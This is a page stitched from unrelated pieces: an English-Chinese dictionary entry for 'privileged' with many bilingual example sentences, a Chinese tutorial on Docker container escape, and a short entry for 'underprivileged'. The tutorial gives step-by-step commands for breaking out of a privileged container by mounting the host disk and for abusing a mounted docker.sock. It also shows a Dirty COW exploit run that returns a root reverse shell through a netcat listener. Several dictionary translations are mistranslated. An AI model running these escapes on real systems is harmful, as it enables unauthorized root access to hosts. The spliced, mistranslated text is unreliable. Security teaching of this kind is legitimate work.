•
privileged
英：【ˈprɪvəlɪdʒd】美：【ˈprɪvəlɪdʒd, ˈprɪvlɪdʒd】
英：
美：
adj.
有特权的, 特许的
动词第三人称单数:
privileges
动词过去式:
privileged
动词过去分词:
privileged
动词现在分词:
privileging
fortunate restricted lucky inner private top secret favored controlled confidential advantaged limited inside honored
underprivileged
1 、The most common case in which a user will have both a filtered and fully
privileged
token is when the user is a member of the Administrators group.───如果用户是“管理员”组的成员,用户通常会同时具有经过滤的令牌和完全权限令牌。
2 、The sons stay behind, and the ones with the most powerful mothers become the most
privileged
males.───儿子们则会留下来，而那些拥有最强势的母亲的，则会成为拥有最高特权的雄性。
3 、Privileged chaps tend to suffer from a sense of entitlement， so he may believe that the rules dont apply to him.───备受关爱的孩子会产生特权感，他们相信规则对他们是不适用的。
4 、Like any other
privileged
caste, they use their power for their own advantage.───他们象其他特权阶级一样，利用手中的权力谋求自己的私利。
5 、On an occasion such as this we are
privileged
to welcome...───在这样重要的场合,我们有幸能欢迎...
6 、You had the privilege to be detailed.─── 你只是有一点分配优先权而已
7 、Privileged Status applications may be lodged without the need to have full school fees paid in advance.───享受优惠待遇的申请可以直接递交材料,而毋须先向学校付费。
8 、A Xen system has multiple layers, the lowest and most
privileged
of which is Xen itself.───一个Xen系统拥有多个层,最底层和最高特权层是Xen程序本身。
9 、People think they have advantages because theyre
privileged
, and now that privilege is being used against them.─── 大家觉得他们占上风是因为 他们受特许保密条款保护 但现在这种特权 却成了谴责他们的理由
10 、As a rich and
privileged
person she has very little empathy with the people she claims to represent.───作为一个富有且有特权的人，她和那些她所声称的代表没有多少共同的情感。
11 、How
privileged
we all were to be able to discover the beauty of Fiordland and to learn about this incredible ecosystem.───多么难得的机会啊我们能在一起去发现福德峡湾的壮丽并去了解这个难以置信的生态系统。"
12 、What a day, what an event and what a fighter. We truly saw the best at her best and we were
privileged
to be there.───多么不平凡的一天,多么不平凡的挑战,多么不平凡的斗士.我们真的很幸运在她最佳时刻看到了最佳表现.
13 、A
privileged
to see the dog, puzzling: cattle brother, a bitter hay, and chew it back? This is not you eat two times bitter, two times by the crime?───一只养尊处优的狗看见了，不解的问：牛大哥，一把苦涩的干草，用得著来回地嚼吗？你这不是吃二遍苦，受二遍罪吗？
14 、Todays real borders are not between nations, but between powerful and powerless, free and fettered,
privileged
and humiliated.───今天真正的边界不在于国与国之间,而在于强者与弱者、自由者和受压制者、特权者和窘迫者之间。
15 、.. but its been my privilege to have had the guardianship of you.─── 但我有幸 成为你的监护人
16 、One biographer observed: "【Rodgers】 became extraordinarily successful in his work, enjoyed a
privileged
life, and shared two Pulitzer Prizes.───一本传记说： 【罗 杰 斯】工作上极为成功， 享 尽荣华富贵，并两度与 伙伴 共同荣获普利策 奖 。
17 、As a rich and
privileged
person she has little empathy with the people she claims to represent.───作为一个有钱有地位的人，她几乎无法与她声称所代表的人民产生共鸣。
18 、A system of elite schools and universities to which the rich have
privileged
access is neither fair nor efficient.───富人的孩子总有特权进入精英学校，这样的体系既不公平又缺乏效率。
19 、Taxes on capital markets turnover could even strengthen the
privileged
position of big banks in the financial system.───对资本市场交易征税甚至还可以增进大型银行在金融系统中的优势地位。
20 、Why do humans choose to live off of one another enslaving others to drudgery so that one can be “
privileged
”?───为什么人类选择了依靠彼此奴役他人做苦工而使某些人成为特权者来生活？
21 、In this type of threat, an un
privileged
user gains
privileged
access and thereby has sufficient access to compromise or destroy the entire system.───在这种威胁中,无特权的用户获得特权,因此可以通过访问来威胁或破坏整个系统。
22 、Article 5 states: "No organization or individual is
privileged
to be beyond the constitution or the law.───宪法第五条声明:“任何群组织或各个人都不得有超越宪法和法律的特权”。
23 、Speaking to me is a privilege, being able to work on your dinosaur is a privilege, the ability to do anything take a walk, read a book, use the bathroom by yourself is a privilege.─── 能跟我说话就是一种恩赐 能捯饬你的恐龙就是一种恩赐 你所能做的一切 散步 看书 有独立的卫生间 都是恩赐
24 、In the first half of the nineteenth century, Russian society was founded on the gentry, the
privileged
landowners who were supported by the serfs.───在十九世纪头五十年，俄罗斯社会是以贵族以及由农奴们供养的享有特权的农庄主为根基的。
25 、KEY ACCOUNTABILITIES-Build
privileged
relationship with vaccine concerned officials in MOH, SFDA, BOH, CDC, NICP...... ...───公司名称：深圳赛诺菲巴斯德生物制品有限公司北京分公司工作地点：广东省广州市发布时间：2009-6-3
26 、A participant or
privileged
participant shall encipher any payment instruction it makes, and a payment instruction shall have effect once it is given.───参与者和特许参与者应按规定对其发起的支付指令进行加密，支付指令一经发出即具有支付效力。
27 、Tax laws that favored the
privileged
at the expense of the disadvantaged.───以处于劣势的人为代价而有利于拥有特权者的税法
28 、Use extra caution with system admins and
privileged
users.───对系统管理员和特殊权限用户更要小心。
29 、Beneficiaries of state land allocations are mainly
privileged
people in society with resultant inequitable distribution of public land.───国家土地分配的受益者主要是社会**权者,从而导致公共土地分配不公。
30 、Some people are more talented than others,Some are more educationally
privileged
than others.but we all have the capacity to be great.───一些人比另外一些人聪明，一些人比另外一些人有教育上的特权，但我们每个人都有成为伟人的潜能。
31 、Now, 44 years later, I am
privileged
to stand side by side with you, ready to work hand in hand on a mission that we all share.───44年后的现在，我又很荣幸和各位并肩而立，准备携手展开一项我们分享的使命。
32 、I am more than my title, than these privileges.─── 我的头衔和特权不是我的全部
33 、Oh I hate you
privileged
upper class people.───噢，我恨你们这些有特权的上流社会。
34 、Historically, everywhere human beings were convinced that they occupied a
privileged
position in the universe.───多少年来，人类一直认为他们是在宇宙中佔有特权的物种。
35 、Damningly one-sided though the game was, one could not help but feel
privileged
to see something wonderful gain its reward.───即使这是一场该死的一边倒的比赛，球迷还是禁不住感到有幸看到一些了不起的东西，完全物有所值。
36 、The Privileged status for provinces may change in the future.───今后,享受优惠待遇的省份可能会有改动。
37 、Privacy laws, these critics say, would protect the
privileged
.───他们批评说隐私权法律保护了特权。
38 、On an occasion such as this (ie as important as this) we are
privileged
to welcome ...───在这样重要的场合，我们有幸能欢迎 ...
39 、He hates the
privileged
stratum.───他憎恨特权阶层。
40 、She comes from a
privileged
background.───她出身特权阶层。
41 、Later, he was
privileged
to work for Flinders Petrie, a strong field director and one of the most credible archaeologists of his time.───后来他幸运的在弗兰德斯.皮特里手下工作。弗兰德斯.皮特里是个优秀的工作导师，也是他那个时代最可靠的考古学家之一。
42 、She came from a
privileged
background.───她出身於特权阶层。
43 、But this is the privilege of an elite few.─── 但这其实是少数精英人群才有的特权
44 、No, sir, I have not had that privilege.─── 不 先生 我没有那种特权
45 、They have
privileged
access," explained Snyder.───他们有特权进入，”斯奈德解释道。
46 、These include functions for memory management, exception vector processing,
privileged
register access, and
privileged
timer access.───其中包括用于内存管理、异常向量处理、特权寄存器访问、特权计时器访问的函数。
47 、Under Saddam, getting permission to travel could take up to a year and was mostly reserved for
privileged
members of the government or their families.───在萨达姆政权统治时期，申请旅游护照需要长达一年的时间，而且绝大多数情况下只有政府官员及其家庭成员才有出国旅游的特权。
48 、The strategies in scaffold alteration can be classified into three aspects: bio-isosterism,
privileged
structure-oriented, and scaffold hopping.───以结构-活性演化的方式变换骨架结构,即骨架迁越。
49 、But stealth parties offer the
privileged
a chance to consume without an inner censor chiding them for their spendthrift ways.───但隐密的购物派对提供有钱阶级一个机会，让他们不必为了挥金如土感到内疚。
50 、During these last few months, I have been humbled and
privileged
to see the true character of this country in a time of testing.───在最近的几个月中，我逐渐认识到了美国经历严峻考验时的真本色，并为之折服。
51 、"...therefore are not
privileged
," which means the physicianpatient privilege does not apply, so Id like to request a subpoena for the security footage from the clinics waiting room.─── "因此不享有医患保密特权" 也就是说医患保密特权 并不适用 因此我想申请一张法院传票 调取诊所候诊室的监控录像
52 、The lab resist discovery, maintaining that the requested materials are
privileged
, constitute trade secrets, are legally irrelevant.───实验室反对辩方发现，并坚持主张说，辩方请求发现的资料是受到特权保护的，构成商业秘密，在法律上也是不相关的。
53 、The year after that,I was placed in charge of a large summer program for under
privileged
children in the large city of Millon, South Dakota.───一年后，我被安置在负责一个大夏天计划下享有特权的儿童在各大城市米，南达科他州。
54 、For the Provision Device property, select either Privileged Certificate Store or Un
privileged
Certificate Store.───对于“提供设备”属性,可选择“特权证书存储区”或“非特权证书存储区”。
55 、The Local System account is a highly
privileged
account; use caution when assigning Local System permissions to SQL Server service accounts.───Local System帐户是一个高特权帐户;向SQL Server服务帐户分配Local System权限时应谨慎。
56 、He was scornful of the
privileged
.───他鄙视特权阶层。
57 、No organization or individual is
privileged
to be beyond the Constitution or the law.───任何组织或者个人都不得有超越宪法和法律的特权。
58 、Corresponds to the amount of time that the application has spent running in
privileged
mode, inside the operating system core.───对应于应用程序在操作系统内核中以特权模式运行所用的时间。
59 、Ive been with you, the privileges Ive allowed.─── 我给你的恩赐 并不领情
60 、He was
privileged
to come at any time.───他有任何时候都可以来的特权。
61 、How do I obtain authorization for Privileged Microsoft Mobile to Market Root signing services?───如何获得微软的特权签名授权?
62 、Global configuration mode and all other more specific configuration modes can only be reached from the
privileged
EXEC mode.───全域组态模式和所有其他更多特定组态模式只能从特权EXEC模式到达。
63 、If the user so authorizes, the Application Information service will create the process with the fully
privileged
token.───如果用户进行了此类授权,则“应用程序信息”服务将以完全权限令牌来创建进程。
64 、The IOS backup can be initiated from the
privileged
EXEC mode with the copy flash tftp command.───IOS的备份可藉由特权EXEC模式下的copytftpflash指令来执行。
65 、They existed for him as a symbol of all that was corrupt, overbearing, stupid, and
privileged
in army life .───他们的存在，他是一个象征，所有这是腐败，咄咄逼人的，愚蠢的，和特权在军队的生活。
66 、Most mobile distros allow SDL apps to run with
privileged
speeds.───大部分移动发行版允许SDL高速运行。
67 、Only the
privileged
few could afford to send their children to private schools.───只有少数享有特权的人才能负担得起送孩子去私立学校就读。
68 、Therefore, deletion is a
privileged
operation.───因此,删除是一项特权操作。
69 、There is a small back parlour where the landlord will serve drinks out of hours to a
privileged
few.───后面是一间小会客室，这儿将是店主在非工作时间里为少数享有特权的提供饮料的地方。
70 、Privileged chaps tend to suffer from a sense of entitlement (read: bratty-boy syndrome), so he may believe that the rules dont apply to him.───备受关爱的孩子会产生特权感（坏孩子综合症），他们相信规则对他们是不适用的。
71 、We are very
privileged
to have Senator Dobbs with us this evening.───今晚有多布斯参议员光临，我们感到十分荣幸。
72 、Total CPU usage by applications run by
privileged
system processes since the system booted.───从系统启动开始特权用户应用所使用的总的CPU使用量。
73 、Venerable but not fusty,
privileged
but not showy, secure its sense of excellence, but not arrogant, Oxford is, in a word, civilized.───古老却不陈腐，尊贵却不卖弄，确信自身的优越却不傲慢，简而言之，牛津是一处为文明所熏陶之地。
74 、In this lab, students access the router command-line interface and activate
privileged
level configuration options.───在这个实验，同学存取路由器指令列介面，并且运作特权层级组态选项。
75 、In the 1920s, everyone who was anyone wintered in thisplaygroundfor the
privileged
.───在19世纪20年代的时候，住在这里的都是那些拥有特权的人们；
76 、Their tragedies undoubtedly resulted from a men
privileged
world where women are not properly treated as humanbeings.───她们的悲剧无疑是由于她们身处一个不把女人当人的男权社会。
77 、On an occasion such as this ( ie as important as this ) we are
privileged
to welcome...───在这样重要的场合, 我们有幸能欢迎.
78 、A political philosophy supporting the rights and power of the people in their struggle against the
privileged
elite.───人民党主义一种政治哲学，在人民反对特权精英阶级的斗争上支持人民的权利与权力
79 、"I am so blessed, so
privileged
to be here to watch him swim live," said Inge de Bruijn of the Netherlands.───“能在这里看到他的水中英姿真可谓三生有幸，他让我热泪盈眶。”
80 、However, the text will be available to
privileged
users that can either access system tables over the DAC port or directly access database files.───但是,可以通过DAC端口访问系统表的特权用户或直接访问数据文件的特权用户可以使用此文本。
81 、They are often white and male, but they do not feel
privileged
and they often chafe at the way affirmative-action policies discriminate against them.───他们很多是白人男性，但是却感受不到一丝优越，对美国优待少数民族的社会计划，常觉得对他们不公平而十分焦躁。
82 、In those days, only a
privileged
few had the vote.───在那个时代，只有少数特殊的人才享有选举权。
83 、Levi survived by working for the camps in his capacity as a chemist;he became a "
privileged
" prisoner.───他的化学家的才能使他能在营里工作而得以生存下来，成为一个“有特权”的囚犯。
84 、In closing, may I say again how delighted and
privileged
we are to be in your country. We are deeply grateful for what you have done for us.───在我结束讲话之前,我想再说一遍,我们来贵国作客是多么的愉快和荣幸。对于你们为我们所做的一切深表感谢。
85 、and I hope you have the same privilege.─── 我希望有一天你也能有这样的朋友
86 、The likely result will be the application running with a more
privileged
account than is necessary.───如果使用SQL sysadmin帐户,可能会造成这样的结果,即应用程序会以比所需权限更多的特权帐户运行。
87 、You will be
privileged
to enter the factory with this ID card.───你有这张身份卡就有权进入工厂。
88 、As America’s best friend, with
privileged
access to intelligence, it feels compelled to take part in America’s wars.───作为美国最好的朋友，英国有接触情报的特权，也感到必须参加美国的战争。
89 、People with very high IQs dont necessarily run the country; they do , however, usually have access to a
privileged
and protected position.───具有很高智商的人不一定会去管理国家，但他们通常能获得一个特殊的和得到保护的社会地位。
90 、Exceptions thrown by ASP.NET site navigation features do not expose
privileged
information.───ASP.NET站点导航功能引发的异常不会公开特权信息。
干货来啦！带你初探Docker逃逸
Docker
是当今使用范围最广的开源容器技术之一，具有高效易用的优点。然而如果使用Docker时采取不当安全策略，则可能
导致系统面临安全威胁。
本期安仔课堂，ISEC实验室的张老师
将为大家介绍不同环境下，
Docker逃逸至外部宿主机的情况。
一、配置特权模式时的逃逸情况
1.--privileged（特权模式）
特权模式于版本0.6时被引入Docker，允许容器内的root拥有外部物理机root权限，而此前容器内root用户仅拥有外部物理机普通用户权限。
使用特权模式启动容器，
可以获取大量设备文件访问权限
。因为当管理员执行docker run —privileged时，Docker容器将被允许访问主机上的所有设备，并可以执行mount命令进行挂载。
当控制使用特权模式启动的容器时，docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部，
获取对整个宿主机的文件读写权限
，此外还可以
通过写入计划任务等方式在宿主机执行命令
。
具体步骤如下：
1.以特权模式运行一个容器：docker run -it --privileged ubuntu:14.04 /bin/bash
2.查看磁盘文件：fdisk -l
3.此时查看/dev/路径会发现很多设备文件：ls /dev
4.新建目录以备挂载：mkdir /abc
5.将/dev/sda1挂载至 /abc: mount /dev/sda1 /abc
6.最终我们可以通过访问容器内部的/abc路径来达到访问整个宿主机的目的：ls /abc
7.尝试写文件到宿主机：echo 123 > /abc/home/botasky/escape2
8.查看宿主机中的文件：ls /home/botasky/escape2
2.--cap-add与SYS_ADMIN
Linux内核自版本2.2起引入功能（capabilities）机制，打破了UNIX/LINUX操作系统中超级用户与普通用户的概念，
允许普通用户执行超级用户权限方能运行的命令
。
截至Linux 3.0版本，Linux中共有
38种capabilities。Docker容器默认限制为14个capabilities
，管理员可以使用--cap-add和--cap-drop选项
为容器精确配置capabilities
。
当容器使用特权模式启动时，将被赋予所有capabilities。此外，在--cap-add的诸多选项中，SYSADMIN意为container进程允许执行mount、umount等一系列系统管理操作，因此当容器以--cap-add=SYSADMIN启动时，也将面临威胁。
二、挂载配置不当时的逃逸情况
1.危险的Docker.sock
众所周知，Docker采用C/S架构，我们平常使用的Docker命令中，docker即为client，Server端的角色由docker daemon扮演，二者之间
通信方式有以下3种：
其中
使用docker.sock进行通信为默认方式
，当容器中进程需在生产过程中与Docker守护进程通信时，容器本身需要挂载/var/run/docker.sock文件。
本质上而言，能够访问docker socket 或连接HTTPS API的进程可以
执行Docker服务能够运行的任意命令
，以root权限运行的Docker服务通常可以
访问整个主机系统
。
因此，当容器访问docker socket时，我们可
通过与docker daemon的通信对其进行恶意操纵完成逃逸
。若容器A可以访问docker socket，我们便可在其内部安装client（docker），通过docker.sock与宿主机的server（docker daemon）进行交互，运行并切换至不安全的容器B，最终在容器B中控制宿主机。
具体步骤如下：
1.运行一个挂载/var/run/的容器：docker run -it -v /var/run/:/host/var/run/ ubuntu:14.04 /bin/bash
2.在容器内安装Docker作为client(此步骤可能需要更换源)：apt-get install docker.io
3.查看宿主机Docker信息：docker -H unix:///host/var/run/docker.sock info
4.运行一个新容器并挂载宿主机根路径：docker -H unix:///host/var/run/docker.sock run -v /:/aa -it ubuntu:14.04 /bin/bash
可以看见@符号后的Docker ID已经发生变化：
5.在新容器/aa路径下完成对宿主机资源的访问：ls /aa
三、存在Dirty Cow漏洞时的逃逸情况
1.脏牛漏洞(CVE-2016-5195)与VDSO(虚拟动态共享对象)
Dirty Cow（CVE-2016-5195）是Linux内核中的权限提升漏洞，源于Linux内核的内存子系统在处理写入时拷贝（copy-on-write, Cow）存在竞争条件（race condition），允许恶意用户提权获取其他只读内存映射的写访问权限。
竞争条件
意为任务执行顺序异常，可能
导致应用崩溃或面临攻击者的代码执行威胁
。利用该漏洞，攻击者可在其目标系统内提升权限，甚至
获得root权限
。
VDSO
就是Virtual Dynamic Shared Object（虚拟动态共享对象），即内核提供的虚拟.so。该.so文件位于内核而非磁盘，程序启动时，内核把包含某.so的内存页映射入其内存空间，对应程序就可作为普通.so使用其中的函数。
在容器中利用VDSO内存空间中的“clock_gettime() ”函数可对脏牛漏洞发起攻击，
令系统崩溃并获得root权限的shell，且浏览容器之外主机上的文件
。
2.PoC&验证环境
GitHub上已有人提供了测试环境与PoC，我们可以通过以下命令获取。
1. 运行验证容器：docker-compose run dirtycow /bin/bash
2. 本地开启nc，进行观察（PoC中设置的反弹地址为本地的1234端口）：nc -lvp 1234
3. 编译PoC并运行，等待shell反弹：make &./0xdeadbeef
通过ID命令，可以发现这个shell为root权限：
参考&引用
underprivileged什么意思
underprivileged的意思是被剥夺基本权力的、穷困的、下层社会的。
1、underprivileged的基本释义。
该单词源于拉丁语，由“under”和“privileged”两个单词组合而成。“under”表示“在下面”，“privileged”表示“有特权的”。因此，“underprivileged”表示“在下面，没有特权”，即“贫困、穷困、被剥夺基本权力或下层社会的”。
2、underprivileged的发音。
underprivileged有英式发音和美式发音，英式发音是【ˌʌndəˈprɪvəlɪdʒd】，美式发音是【ˌʌndərˈprɪvəlɪdʒd】。
3、underprivileged的相关组词。
underprivileged individuals：指生活在贫困环境中、缺乏基本生活保障和个人发展机会的人群。
underprivileged communities：指社会中处于弱势地位的社区，可能由于经济落后、教育资源不足、社会保障不完善等原因，导致社区成员的生活质量和社会地位较低。
underprivileged nations：指经济和发展相对落后的国家，可能面临政治、经济、文化等多方面的挑战和困难。
有关underprivileged的双语例句：
1、His doughty campaigns for the underprivileged have earned him national respect.
他为弱势群体奔走呼号租册，赢得了全国的尊敬。
2、She worked for the well-being of the underprivileged.
她为下层贫困民众的福利而努力。
3、He said it was the job of the Church to speak for the underprivileged.
他说，为贫困群体说话是教会的义务。
4、Another common theme among this years applicants was howbusinesses could help create opportunities for underprivilegedcommunities.
今年的申请者中普遍呈现的另一大常见主题是，企业如何能为贫困社区创造机会。